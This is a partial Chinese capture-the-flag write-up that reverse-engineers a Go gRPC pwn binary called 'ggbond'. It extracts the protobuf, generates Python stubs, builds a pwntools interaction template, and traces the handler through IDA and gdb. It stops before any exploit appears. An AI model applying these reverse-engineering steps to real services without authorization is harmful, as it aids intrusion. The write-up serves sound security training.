ggbond

可以发现主函数是main_main,同时存在大量grpc字段,可以判断出程序使用了grpc框架。和grpc框架开发的程序进行交互,需要提取protobuf,protobuf谷歌开发的数据序列化格式,它通常用于网络通信和数据存储的应用程序之间的结构化数据交换。这个工具让你能够定义交互时消息的数据结构。

程序套了grpc,与程序的交互不再直接通过标准输入,而需要通过定义的 gRPC 服务接口来进行,然后grpc 使用一个叫protobuf的结构去描述怎么和程序交互的,首先需要提取出程序中的protobuf,然后python中有一个叫grpc_tools的库可以通过 protobuf文件生成和程序交互的代码。

github上有一个叫pbtk的项目可以提取出elf的 protobuf结构

使用 pbtk提取 protobuf文件

./pbtk/extractors/from_binary.py pwn

提取出来的protobuf文件

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}

使用grpc_tools 生成和程序交互的函数库的命令

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ./ggbond.proto

可以发现多出来两个文件 ggbond_pb2_grpc.py ggbond_pb2.py

ggbond_pb2.py

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: ggbond.proto
# Protobuf Python Version: 5.26.1
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()


DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0cggbond.proto\x12\x06GGBond\"\x9c\x01\n\x07Request\x12\'\n\x06whoami\x18\x64 \x01(\x0b\x32\x15.GGBond.WhoamiRequestH\x00\x12\x30\n\x0brole_change\x18\x65 \x01(\x0b\x32\x19.GGBond.RoleChangeRequestH\x00\x12+\n\x08repeater\x18\x66 \x01(\x0b\x32\x17.GGBond.RepeaterRequestH\x00\x42\t\n\x07request\"\xcd\x01\n\x08Response\x12)\n\x06whoami\x18\xc8\x01 \x01(\x0b\x32\x16.GGBond.WhoamiResponseH\x00\x12\x32\n\x0brole_change\x18\xc9\x01 \x01(\x0b\x32\x1a.GGBond.RoleChangeResponseH\x00\x12-\n\x08repeater\x18\xca\x01 \x01(\x0b\x32\x18.GGBond.RepeaterResponseH\x00\x12\'\n\x05\x65rror\x18\xbc\x03 \x01(\x0b\x32\x15.GGBond.ErrorResponseH\x00\x42\n\n\x08response\"\x0f\n\rWhoamiRequest\"\"\n\x0eWhoamiResponse\x12\x10\n\x07message\x18\xd0\x0f \x01(\t\"\"\n\x11RoleChangeRequest\x12\r\n\x04role\x18\xe9\x07 \x01(\r\"&\n\x12RoleChangeResponse\x12\x10\n\x07message\x18\xd1\x0f \x01(\t\"#\n\x0fRepeaterRequest\x12\x10\n\x07message\x18\xea\x07 \x01(\t\"$\n\x10RepeaterResponse\x12\x10\n\x07message\x18\xd2\x0f \x01(\t\"!\n\rErrorResponse\x12\x10\n\x07message\x18\xdc\" \x01(\t2<\n\x0cGGBondServer\x12,\n\x07Handler\x12\x0f.GGBond.Request\x1a\x10.GGBond.ResponseB\x0bZ\t./;ggbondb\x06proto3')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'ggbond_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS:
  _globals['DESCRIPTOR']._loaded_options = None
  _globals['DESCRIPTOR']._serialized_options = b'Z\t./;ggbond'
  _globals['_REQUEST']._serialized_start=25
  _globals['_REQUEST']._serialized_end=181
  _globals['_RESPONSE']._serialized_start=184
  _globals['_RESPONSE']._serialized_end=389
  _globals['_WHOAMIREQUEST']._serialized_start=391
  _globals['_WHOAMIREQUEST']._serialized_end=406
  _globals['_WHOAMIRESPONSE']._serialized_start=408
  _globals['_WHOAMIRESPONSE']._serialized_end=442
  _globals['_ROLECHANGEREQUEST']._serialized_start=444
  _globals['_ROLECHANGEREQUEST']._serialized_end=478
  _globals['_ROLECHANGERESPONSE']._serialized_start=480
  _globals['_ROLECHANGERESPONSE']._serialized_end=518
  _globals['_REPEATERREQUEST']._serialized_start=520
  _globals['_REPEATERREQUEST']._serialized_end=555
  _globals['_REPEATERRESPONSE']._serialized_start=557
  _globals['_REPEATERRESPONSE']._serialized_end=593
  _globals['_ERRORRESPONSE']._serialized_start=595
  _globals['_ERRORRESPONSE']._serialized_end=628
  _globals['_GGBONDSERVER']._serialized_start=630
  _globals['_GGBONDSERVER']._serialized_end=690
# @@protoc_insertion_point(module_scope)

ggbond_pb2_grpc.py

# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
import warnings

import ggbond_pb2 as ggbond__pb2

GRPC_GENERATED_VERSION = '1.64.0'
GRPC_VERSION = grpc.__version__
EXPECTED_ERROR_RELEASE = '1.65.0'
SCHEDULED_RELEASE_DATE = 'June 25, 2024'
_version_not_supported = False

try:
    from grpc._utilities import first_version_is_lower
    _version_not_supported = first_version_is_lower(GRPC_VERSION, GRPC_GENERATED_VERSION)
except ImportError:
    _version_not_supported = True

if _version_not_supported:
    warnings.warn(
        f'The grpc package installed is at version {GRPC_VERSION},'
        + f' but the generated code in ggbond_pb2_grpc.py depends on'
        + f' grpcio>={GRPC_GENERATED_VERSION}.'
        + f' Please upgrade your grpc module to grpcio>={GRPC_GENERATED_VERSION}'
        + f' or downgrade your generated code using grpcio-tools<={GRPC_VERSION}.'
        + f' This warning will become an error in {EXPECTED_ERROR_RELEASE},'
        + f' scheduled for release on {SCHEDULED_RELEASE_DATE}.',
        RuntimeWarning
    )


class GGBondServerStub(object):
    """Missing associated documentation comment in .proto file."""

    def __init__(self, channel):
        """Constructor.

        Args:
            channel: A grpc.Channel.
        """
        self.Handler = channel.unary_unary(
                '/GGBond.GGBondServer/Handler',
                request_serializer=ggbond__pb2.Request.SerializeToString,
                response_deserializer=ggbond__pb2.Response.FromString,
                _registered_method=True)


class GGBondServerServicer(object):
    """Missing associated documentation comment in .proto file."""

    def Handler(self, request, context):
        """Missing associated documentation comment in .proto file."""
        context.set_code(grpc.StatusCode.UNIMPLEMENTED)
        context.set_details('Method not implemented!')
        raise NotImplementedError('Method not implemented!')


def add_GGBondServerServicer_to_server(servicer, server):
    rpc_method_handlers = {
            'Handler': grpc.unary_unary_rpc_method_handler(
                    servicer.Handler,
                    request_deserializer=ggbond__pb2.Request.FromString,
                    response_serializer=ggbond__pb2.Response.SerializeToString,
            ),
    }
    generic_handler = grpc.method_handlers_generic_handler(
            'GGBond.GGBondServer', rpc_method_handlers)
    server.add_generic_rpc_handlers((generic_handler,))
    server.add_registered_method_handlers('GGBond.GGBondServer', rpc_method_handlers)


 # This class is part of an EXPERIMENTAL API.
class GGBondServer(object):
    """Missing associated documentation comment in .proto file."""

    @staticmethod
    def Handler(request,
            target,
            options=(),
            channel_credentials=None,
            call_credentials=None,
            insecure=False,
            compression=None,
            wait_for_ready=None,
            timeout=None,
            metadata=None):
        return grpc.experimental.unary_unary(
            request,
            target,
            '/GGBond.GGBondServer/Handler',
            ggbond__pb2.Request.SerializeToString,
            ggbond__pb2.Response.FromString,
            options,
            channel_credentials,
            insecure,
            call_credentials,
            compression,
            wait_for_ready,
            timeout,
            metadata,
            _registered_method=True)

其中ggbond_pb2.py 定义了交互的时候消息的数据结构

ggbond_pb2_grpc.py 定义了交互的时候 接收 处理 响应请求的代码

通过grpc_tools 生成ggbond_pb2_grpc.py ggbond_pb2.py这两个文件后,就要弄清楚这两个库该怎么用,还有交互的板子该怎么写的问题

protobuf中定义了一个叫 GGBondServer的 rpc服务,其中有三个 request请求

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}

根据gpt给的样例,交互的板子是这样的

import grpc

import ggbond_pb2
import ggbond_pb2_grpc


def whoami(chan):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
    return respond

def role_change(chan,role):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
    return respond

def repeater(chan,message):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
    return respond

之后就是找protobuf中定义的三个request对应的handler代码在哪里,这三个handler的代码块 就是程序的 “主逻辑”

在main_main函数中,有一个google_golang_org_grpc__ptr_Server_RegisterService函数,第二个参数是一个描述服务的结构体ServiceDesc,其中MethodDest结构体中有一个handler指针,指向handler函数

v11.data = &unk_C94D10;
google_golang_org_grpc__ptr_Server_RegisterService(v8, &stru_C59860, v11);
v6 = (*(__int64 (__golang **)(__int64))(v9[0] + 32LL))(3LL);

结构体的定义

type ServiceDesc struct {
    ServiceName string
    HandlerType interface{}
    Methods     []MethodDesc
    Streams     []StreamDesc
}

type MethodDesc struct {
    MethodName string
    Handler    func(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor UnaryServerInterceptor) (interface{}, error)
}

type StreamDesc struct {
    StreamName string
    Handler    func(srv interface{}, stream ServerStream) error
    ServerStreams bool
    ClientStreams bool
}

在ida的结构是这样的

.data:0000000000C59860 ; grpc_ServiceDesc stru_C59860
.data:0000000000C59860 stru_C59860     dq offset aGgbondGgbondse_0; ServiceName.ptr
.data:0000000000C59860                                         ; DATA XREF: main_main+121↑o
.data:0000000000C59868                 dq 13h                  ; ServiceName.len ; "GGBond.GGBondServer"
.data:0000000000C59870                 dq offset RTYPE__ptr_ggbond_GGBondServerServer; HandlerType.tab
.data:0000000000C59878                 dq 0                    ; HandlerType.data
.data:0000000000C59880                 dq offset off_C525C0    ; Methods.ptr
.data:0000000000C59888                 dq 1                    ; Methods.len
.data:0000000000C59890                 dq 1                    ; Methods.cap
.data:0000000000C59898                 dq offset byte_C94A20   ; Streams.ptr
.data:0000000000C598A0                 dq 0                    ; Streams.len
.data:0000000000C598A8                 dq 0                    ; Streams.cap
.data:0000000000C598B0                 dq offset RTYPE_string  ; Metadata.tab
.data:0000000000C598B8                 dq offset off_C51630    ; Metadata.data

从methods.ptr这个指针跟过去 0x90BD28h 这个就是handler函数的地址了

.data:0000000000C525C0 off_C525C0      dq offset aFlagsLenDLocks+222h
.data:0000000000C525C0                                         ; DATA XREF: .data:stru_C59860↓o
.data:0000000000C525C0                                         ; "HandlerHanunooHstrok;ILLEGALIM UsedIO w"...
.data:0000000000C525C8                 db    7
.data:0000000000C525C9                 db    0
.data:0000000000C525CA                 db    0
.data:0000000000C525CB                 db    0
.data:0000000000C525CC                 db    0
.data:0000000000C525CD                 db    0
.data:0000000000C525CE                 db    0
.data:0000000000C525CF                 db    0
.data:0000000000C525D0                 dd 90BD28h
.data:0000000000C525D4                 align 20h

handler函数的逻辑

// main/ggbond._GGBondServer_Handler_Handler
RTYPE *__golang main_ggbond__GGBondServer_Handler_Handler(
        void *a1,
        void *a2,
        __int64 a3,
        __int64 a4,
        __int64 (__golang **a5)(RTYPE *, ggbond_Request *),
        __int64 (__golang **a6)(_QWORD, _QWORD, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *))
{
  __int64 v6; // r14
  int v7; // r8d
  int v8; // r9d
  int v9; // r10d
  int v10; // r11d
  char *v11; // rcx
  __int64 i; // rax
  grpc_UnaryServerInfo *p_grpc_UnaryServerInfo; // rax
  _QWORD *v14; // rax
  __int64 v15; // rdx
  __int64 v16; // r8
  void *v17; // rcx
  __int64 v19; // rax
  char v20[80]; // [rsp+40h] [rbp-338h] BYREF
  char v21; // [rsp+90h] [rbp-2E8h] BYREF
  grpc_UnaryServerInfo *v22; // [rsp+340h] [rbp-38h]
  ggbond_Request *p_ggbond_Request; // [rsp+348h] [rbp-30h]
  void *v24; // [rsp+350h] [rbp-28h]
  char *v25; // [rsp+358h] [rbp-20h]
  __int64 v26; // [rsp+360h] [rbp-18h]
  __int64 v27; // [rsp+368h] [rbp-10h]
  void *v29; // [rsp+380h] [rbp+8h]
  __int64 v32; // [rsp+390h] [rbp+18h]
  __int64 v33; // [rsp+390h] [rbp+18h]
  __int64 (__golang **v37)(__int64, __int64, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *); // [rsp+3A8h] [rbp+30h]
  __int64 (__golang **v38)(_QWORD, _QWORD, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *); // [rsp+3A8h] [rbp+30h]

  while ( (unsigned __int64)&v21 <= *(_QWORD *)(v6 + 16) )
  {
    v29 = a1;
    v33 = a3;
    v38 = a6;
    runtime_morestack_noctxt();
    a1 = v29;
    a3 = v33;
    a6 = v38;
  }
  v37 = a6;
  v32 = a3;
  v24 = a1;
  p_ggbond_Request = (ggbond_Request *)runtime_newobject(&RTYPE_ggbond_Request);
  if ( (*a5)(&RTYPE__ptr_ggbond_Request, p_ggbond_Request) )
    return 0LL;
  if ( v37 )
  {
    p_grpc_UnaryServerInfo = (grpc_UnaryServerInfo *)runtime_newobject(&RTYPE_grpc_UnaryServerInfo);
    p_grpc_UnaryServerInfo->Server.tab = v24;
    if ( dword_C95060 )
      p_grpc_UnaryServerInfo = (grpc_UnaryServerInfo *)runtime_gcWriteBarrierDX(
                                                         &p_grpc_UnaryServerInfo->Server.data,
                                                         a5,
                                                         a2);
    else
      p_grpc_UnaryServerInfo->Server.data = a2;
    v22 = p_grpc_UnaryServerInfo;
    p_grpc_UnaryServerInfo->FullMethod.len = 28LL;
    p_grpc_UnaryServerInfo->FullMethod.ptr = "/GGBond.GGBondServer/Handler";
    v14 = runtime_newobject((const RTYPE *)&unk_866D80);
    *v14 = main_ggbond__GGBondServer_Handler_Handler_func1;
    v17 = v24;
    v14[1] = v24;
    if ( dword_C95060 )
      v14 = (_QWORD *)runtime_gcWriteBarrierR9(v14 + 2, a5, v15, v17, v16, a2);
    else
      v14[2] = a2;
    return (RTYPE *)(*v37)(v32, a4, &RTYPE__ptr_ggbond_Request, p_ggbond_Request, v22, v14);
  }
  else
  {
    ((void (__fastcall *)(char *))loc_468D3C)(v20);
    v25 = v20;
    v26 = 768LL;
    v27 = 768LL;
    v11 = v20;
    for ( i = 0LL; i < 16; ++i )
      *v11++ = 16;
    v19 = runtime_assertE2I(
            (unsigned int)&RTYPE_ggbond_GGBondServerServer,
            (_DWORD)v24,
            (_DWORD)v11,
            (unsigned int)v20,
            (_DWORD)a5,
            v7,
            v8,
            v9,
            v10);
    (*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v19 + 24))(a2, v32, a4, p_ggbond_Request);
    return &RTYPE__ptr_ggbond_Response;
  }
}

可以发现这段代码大多数逻辑都是做资源分配,还有service信息的设置,关键的逻辑在这里,这里有一个函数指针的调用

v19 = runtime_assertE2I(
         (unsigned int)&RTYPE_ggbond_GGBondServerServer,
         (_DWORD)v24,
         (_DWORD)v11,
         (unsigned int)v20,
         (_DWORD)a5,
         v7,
         v8,
         v9,
         v10);
 (*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v19 + 24))(a2, v32, a4, p_ggbond_Request);

v19 + 24这个函数指针不知道是什么地址

.text:00000000007ED532                 mov     rdi, [rsp+368h+var_30]
.text:00000000007ED53A                 mov     rdx, rcx
.text:00000000007ED53D                 mov     rcx, [rsp+368h+arg_18]
.text:00000000007ED545                 call    rdx

可以用gdb.attach()打个断点看看

import grpc

import ggbond_pb2
import ggbond_pb2_grpc

from pwn import *

def whoami(chan):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
    return respond

def role_change(chan,role):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
    return respond

def repeater(chan,message):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
    return respond

file_path = './pwn'
p1 = process(file_path)

p = remote("127.0.0.1", 23334)

channel=grpc.insecure_channel('localhost:23334')

gdb_comm = '''
b *0x00000000007ED545
c
'''
gdb.attach(p1,gdb_comm)

print(whoami(channel))

调用的是0x7ed860 这个地址,跟过去发现 main__ptr_server_Handler这个函数

► 0x7ed545    call   rdx                           <0x7ed860>

main__ptr_server_Handler

// main.(*server).Handler
// local variable allocation has failed, the output may be wrong!
retval_848680 __golang main__ptr_server_Handler(_ptr_main_server a1, context_Context a2, _ptr_ggbond_Request p_data)
{
  __int64 v3; // rsi
  __int64 v4; // r14
  __int128 v5; // xmm15
  RTYPE **tab; // rcx
  ggbond_Response_Whoami *p_ggbond_Response_Whoami; // rax
  __int64 v8; // rdx
  ggbond_Response *p_ggbond_Response; // rax
  int v10; // r9d
  __int64 v11; // r10
  int v12; // r11d
  RTYPE **v13; // rcx
  __int64 *v14; // r8
  __int64 v15; // rax
  __int64 v16; // rdi
  ggbond_Response *v17; // rax
  void *v18; // rbx
  void *v19; // rcx
  ggbond_Response_RoleChange *p_ggbond_Response_RoleChange; // rax
  __int64 v21; // rdx
  __int64 v22; // r8
  __int64 v23; // r9
  int v24; // r10d
  RTYPE **v25; // rcx
  RTYPE **v26; // r10
  __int64 *v27; // r11
  __int64 v28; // rax
  __int64 v29; // rdi
  __int64 *v30; // rsi
  __int64 v31; // rdi
  ggbond_Response_Repeater *p_ggbond_Response_Repeater; // rax
  __int64 v33; // rdx
  ggbond_Response *v34; // rax
  __int64 v35; // r9
  __int64 v36; // r10
  int v37; // r11d
  RTYPE **v38; // rcx
  __int64 *v39; // r8
  void *v40; // rbx
  __int64 v41; // rax
  int v42; // r8d
  int v43; // r9d
  int v44; // r10d
  __int64 v45; // rdi
  RTYPE **v46; // rax
  __int128 *v47; // rsi
  uint8 *v48; // rdi
  __int64 i; // rax
  ggbond_Response_Repeater *v50; // rax
  __int64 v51; // rdx
  ggbond_Response *v52; // rax
  __int64 v53; // r8
  __int64 v54; // r9
  RTYPE **v55; // rcx
  __int64 *v56; // r10
  void *v57; // rbx
  void *v58; // rcx
  RTYPE **v59; // r11
  void *v60; // rdx
  __int64 v61; // rax
  __int64 v62; // rdi
  ggbond_Response_Error *p_ggbond_Response_Error; // rax
  __int64 v64; // rdx
  int v65; // r8d
  int v66; // r9d
  int v67; // r10d
  RTYPE **v68; // rcx
  __int64 *v69; // rsi
  __int64 v70; // rdi
  unsigned int v71; // [rsp+0h] [rbp-D4h]
  size_t len; // [rsp+4h] [rbp-D0h]
  __int128 v73[2]; // [rsp+Ch] [rbp-C8h] BYREF
  ggbond_Response *v74; // [rsp+2Ch] [rbp-A8h]
  ggbond_Response *v75; // [rsp+34h] [rbp-A0h]
  ggbond_Response *v76; // [rsp+3Ch] [rbp-98h]
  ggbond_Response *v77; // [rsp+44h] [rbp-90h] BYREF
  ggbond_WhoamiResponse *p_ggbond_WhoamiResponse; // [rsp+4Ch] [rbp-88h]
  ggbond_RoleChangeResponse *p_ggbond_RoleChangeResponse; // [rsp+54h] [rbp-80h]
  ggbond_RepeaterResponse *p_ggbond_RepeaterResponse; // [rsp+5Ch] [rbp-78h]
  ggbond_RepeaterResponse *v81; // [rsp+64h] [rbp-70h]
  ggbond_ErrorResponse *p_ggbond_ErrorResponse; // [rsp+6Ch] [rbp-68h]
  ggbond_Response_Error *v83; // [rsp+74h] [rbp-60h]
  ggbond_Response_Repeater *v84; // [rsp+7Ch] [rbp-58h]
  ggbond_Response_RoleChange *v85; // [rsp+84h] [rbp-50h]
  __int64 *v86; // [rsp+8Ch] [rbp-48h]
  ggbond_Response_Whoami *v87; // [rsp+94h] [rbp-40h]
  uint8 *ptr; // [rsp+9Ch] [rbp-38h]
  size_t v89; // [rsp+A4h] [rbp-30h]
  size_t cap; // [rsp+ACh] [rbp-28h]
  __int128 *v91; // [rsp+B4h] [rbp-20h]
  __int64 v92; // [rsp+BCh] [rbp-18h]
  __int64 v93; // [rsp+C4h] [rbp-10h]
  main_server *v94; // [rsp+DCh] [rbp+8h]
  void *data; // [rsp+ECh] [rbp+18h]
  _ptr_ggbond_Request v96; // [rsp+F4h] [rbp+20h]
  string v97; // 0:rbx.8,8:rcx.8
  retval_848680 result; // 0:rax.8,8:rbx.8,16:rcx.8
  retval_83EE40 v99; // 0:rax.8,8:rbx.8,16:rcx.8,24:rdi.16

  while ( (unsigned __int64)&v77 <= *(_QWORD *)(v4 + 16) )
  {
    v94 = a1;
    data = a2.data;
    runtime_morestack_noctxt();
    a1 = v94;
    a2.data = data;
  }
  tab = (RTYPE **)p_data->Request.tab;
  if ( !tab )
    goto LABEL_63;
  if ( tab == off_979A00 )
  {
    p_ggbond_WhoamiResponse = (ggbond_WhoamiResponse *)runtime_newobject(&RTYPE_ggbond_WhoamiResponse);
    p_ggbond_Response_Whoami = (ggbond_Response_Whoami *)runtime_newobject(&RTYPE_ggbond_Response_Whoami);
    v87 = p_ggbond_Response_Whoami;
    if ( dword_C95060 )
    {
      p_data = (_ptr_ggbond_Request)p_ggbond_Response_Whoami;
      runtime_gcWriteBarrierCX(p_ggbond_Response_Whoami, v3, v8);
    }
    else
    {
      p_ggbond_Response_Whoami->Whoami = p_ggbond_WhoamiResponse;
    }
    p_ggbond_Response = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
    v13 = off_979AA0;
    p_ggbond_Response->Response.tab = off_979AA0;
    if ( dword_C95060 )
    {
      p_data = (_ptr_ggbond_Request)&p_ggbond_Response->Response.data;
      p_ggbond_Response = (ggbond_Response *)runtime_gcWriteBarrierDX(&p_ggbond_Response->Response.data, v3);
    }
    else
    {
      p_ggbond_Response->Response.data = v87;
    }
    v14 = (__int64 *)p_ggbond_Response->Response.data;
    if ( p_ggbond_Response->Response.tab != v13 )
      runtime_panicdottypeI(
        p_ggbond_Response->Response.tab,
        (unsigned int)&RTYPE__ptr_ggbond_Response_Whoami,
        (unsigned int)&RTYPE_ggbond_isResponse_Response,
        (_DWORD)p_data,
        v3,
        (_DWORD)v14,
        v10,
        v11);
    if ( qword_C525A8 <= (unsigned __int64)qword_C94B80 )
      runtime_panicIndex(
        qword_C94B80,
        &RTYPE__ptr_ggbond_Response_Whoami,
        qword_C525A8,
        p_data,
        v3,
        v14,
        off_C525A0,
        v11);
    v77 = p_ggbond_Response;
    v86 = v14;
    v15 = runtime_concatstring2(
            0,
            (unsigned int)"I'm IDLEIMAGINFOIcy;Ifr;Int;IumlJcy;Jfr;JulyJuneKcy;Kfr;KindLEAFLcy;Lfr;LisuLsh;MBoxMap;Mcy;Mfr;MiaoModiNONENameNcy;NewaNfr;Not;Ocy;Ofr;OumlPINGPOSTPagePathPcy;Pfr;Phi;PortPrefPsi;QUOTQfr;REG;Rcy;Rfr;Rho;Rsh;Scy;Sfr;Sub;Sum;Sup;Tab;Tau;Tcy;Tfr;ThaiTrueTypeUcy;Ufr;UumlVcy;Vee;Vfr;Wfr;Xfr;Ycy;Yfr;Zcy;Zfr;\"%d\"\", \"\"OK\"\"`'/\\/[]",
            4,
            (unsigned int)off_C525A0[2 * qword_C94B80],
            (unsigned int)off_C525A0[2 * qword_C94B80 + 1],
            (_DWORD)v14,
            (_DWORD)off_C525A0,
            v11,
            v12);
    v16 = *v86;
    *(_QWORD *)(*v86 + 48) = "I'm IDLEIMAGINFOIcy;Ifr;Int;IumlJcy;Jfr;JulyJuneKcy;Kfr;KindLEAFLcy;Lfr;LisuLsh;MBoxMap;Mcy;Mfr;MiaoModiNONENameNcy;NewaNfr;Not;Ocy;Ofr;OumlPINGPOSTPagePathPcy;Pfr;Phi;PortPrefPsi;QUOTQfr;REG;Rcy;Rfr;Rho;Rsh;Scy;Sfr;Sub;Sum;Sup;Tab;Tau;Tcy;Tfr;ThaiTrueTypeUcy;Ufr;UumlVcy;Vee;Vfr;Wfr;Xfr;Ycy;Yfr;Zcy;Zfr;\"%d\"\", \"\"OK\"\"`'/\\/[]";
    if ( dword_C95060 )
      runtime_gcWriteBarrier(v16 + 40);
    else
      *(_QWORD *)(v16 + 40) = v15;
    v17 = v77;
    v18 = 0LL;
    v19 = 0LL;
    goto LABEL_90;
  }
  if ( tab == off_9799E0 )
  {
    v71 = *(_DWORD *)(*(_QWORD *)p_data->Request.data + 40LL);
    p_ggbond_RoleChangeResponse = (ggbond_RoleChangeResponse *)runtime_newobject(&RTYPE_ggbond_RoleChangeResponse);
    p_ggbond_Response_RoleChange = (ggbond_Response_RoleChange *)runtime_newobject(&RTYPE_ggbond_Response_RoleChange);
    v85 = p_ggbond_Response_RoleChange;
    if ( dword_C95060 )
    {
      p_data = (_ptr_ggbond_Request)p_ggbond_Response_RoleChange;
      runtime_gcWriteBarrierCX(p_ggbond_Response_RoleChange, v3, v21);
    }
    else
    {
      p_ggbond_Response_RoleChange->RoleChange = p_ggbond_RoleChangeResponse;
    }
    v17 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
    v25 = off_979A80;
    v17->Response.tab = off_979A80;
    if ( dword_C95060 )
    {
      p_data = (_ptr_ggbond_Request)&v17->Response.data;
      v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v17->Response.data, v3);
    }
    else
    {
      v17->Response.data = v85;
    }
    if ( v71 > 3 )
    {
      v30 = (__int64 *)v17->Response.data;
      if ( v17->Response.tab != v25 )
        runtime_panicdottypeI(
          v17->Response.tab,
          (unsigned int)&RTYPE__ptr_ggbond_Response_RoleChange,
          (unsigned int)&RTYPE_ggbond_isResponse_Response,
          (_DWORD)p_data,
          (_DWORD)v30,
          v22,
          v23,
          v24);
      v31 = *v30;
      *(_QWORD *)(*v30 + 48) = 15LL;
      if ( dword_C95060 )
        v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(v31 + 40, v30);
      else
        *(_QWORD *)(v31 + 40) = "Role No Change.ShortDownArrow;ShortLeftArrow;SquareSuperset;The server portTildeFullEqual;UNAUTHENTICATEDUnauthenticatedUpperLeftArrow;X-Forwarded-ForZeroWidthSpace;\"UNIMPLEMENTED\"]\n\tmorebuf={pc:accept-encodingaccept-languageadvertise erroraggregate_valueapplication/pdfasyncpreemptoffavx512vpopcntdqbad certificatebad trailer keycontenteditablecopy_file_rangecurvearrowleft;double scavengedoublebarwedge;downdownarrows;duplicated nameelem size wrongextension_rangeforce gc (idle)hookrightarrow;html/template: invalid addressinvalid argSizeinvalid booleaninvalid kind %vinvalid paddinginvalid pointerjstmpllitinterpkey has expiredleftleftarrows;leftrightarrow;leftthreetimes;longrightarrow;looparrowright;malloc deadlockmisaligned maskmissing addressmissing mcache?ms: gomaxprocs=negative offsetnetwork is downno dot in fieldno medium foundno such processnon-minimal tagnot a directorynshortparallel;ntriangleright;preempt SPWRITEproto3_optionalrecord overflowrecovery failedreflectlite.Setrightarrowtail;rightharpoonup;runtime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding psync.Mutex.Locktemplate clausetraceback stucktrianglelefteq;unclosed actionunexpected typeunknown Go typeunknown networkunverified_lazyupharpoonright;weak_dependency already; errno= mheap.sweepgen= not in ranges:\n untyped locals %s %s HTTP/1.1\r\n%s overflows int, not a function.WithValue(type /etc/resolv.conf0123456789ABCDEF0123456789abcdef2384185791015625: value of type <stream: %p, %v>Already ReportedAttributes: %v, CloseCurlyQuote;Content-EncodingContent-LanguageContent-Length: ContourIntegral;DeadlineExceededDoubleDownArrow;DoubleLeftArrow;DownRightVector;FRAME_SIZE_ERRORGC scavenge waitGC worker (idle)GODEBUG: value \"GOTRACEBACK=noneINVALID_ARGUMENTImperial_AramaicInstRuneAnyNotNLLeftRightVector;LeftTriangleBar;LeftUpTeeVector;LeftUpVectorBar;LowerRightArrow;Meroitic_CursiveMultiple ChoicesNotGreaterEqual;NotGreaterTilde;NotHumpDownHump;NotLeftTriangle;NotSquareSubset;Other_AlphabeticOverParenthesis;Payment RequiredPermissionDeniedProxy-ConnectionRCodeFormatErrorRETENTION_SOURCERightDownVector;SETTINGS_TIMEOUTSIGNONE: no trapServerName: %q, ShortRightArrow;TARGET_TYPE_ENUMTARGET_TYPE_FILEUpgrade RequiredUpperRightArrow;User-Agent: %s\r\nWww-AuthenticateZanabazar_Square\"ALREADY_EXISTS\"\nruntime stack:\n";
    }
    else
    {
      qword_C94B80 = v71;
